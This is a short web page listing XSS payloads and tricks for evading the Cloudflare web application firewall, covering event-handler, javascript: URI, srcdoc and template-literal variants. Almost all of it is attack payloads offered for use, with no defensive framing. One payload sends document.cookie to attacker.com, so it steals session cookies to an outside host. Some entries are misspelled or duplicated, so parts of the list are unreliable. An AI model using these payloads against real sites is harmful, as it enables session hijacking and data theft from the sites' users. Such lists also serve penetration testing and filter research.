CloudFlare XSS Bypass Payloads and Methods

Here is the list of XSS Payloads to Bypass CloudFlare Firewall

Method 1
Cloudflare #WAF Bypass

Just use {alert`1`} instead of alert(1).

Any #XSS vector will work

(except <script>).

Method 2

<img src onerror=%26emsp;prompt`${document.domain}`>
<--`<img/src=` onerror=confirm``> --!>
“><svg/on</script>laod=alert>
<a href="j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;(a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;(document.domain))">X</a>
<svg%0Aonauxclick=0;[1].some(confirm)//
<a"/onclick=(confirm)()>Click Here!
xss'"><iframe srcdoc='%26lt;script>;prompt`${document.domain}`%26lt;/script>'>
.</Scrpt/"%27--!>%20<Scrpt>%20confirm(1)%20</Scrpt>
{` <body \< onscroll =1(_=prompt,_(String.fromCharCode(88,83,83,32,66,121,32,77,111,114,112,104,105,110,101)))> ´}
`payload´; %3Cimg src='null' onerror=alert('spyerror')%3E
%27;%0d%0d});%0d{onerror=prompt}throw document.location</ScRipT//
<a href="j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;(a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;(document.domain))">X</a>
XSS using location with cookie value payload : %3Cp%20style=overflow:auto;font-size:999px%20onscroll=x=location=%27http://attacker.com?cookie=%27+document.cookie%3EAAA%3Cx/id=y%3E%3C/p%3E
<a"/onmouseover=(confirm)('clodflare-bypass-doskey_history')>click
"/><frostnull+onmousemove/=alert`xss`+"<">frostnull<!--